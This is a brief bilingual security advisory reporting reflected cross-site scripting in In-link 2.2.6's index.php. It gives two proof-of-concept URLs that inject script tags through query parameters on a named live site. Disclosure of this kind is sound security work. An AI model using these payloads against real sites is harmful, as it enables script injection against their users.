XSS in In-link 2.2.6

Advisory: XSS in In-link 2.2.6

Уязвимость/Vulnerability:
Межсайтовый скриптинг/Cross Site Scripting

Уязвимый скрипт/Vulnerable script: index.php

Exploit:

http://mailinfo.ru/catalog/index.php?sid=%27795275575&t=login&attach=%27t=modify"><script>alert()</script><"

http://mailinfo.ru/catalog/index.php?sid=795275575&t=registration&cat=0"><script>alert()</script><"

Cyber Lords Team
www.cyberlords.net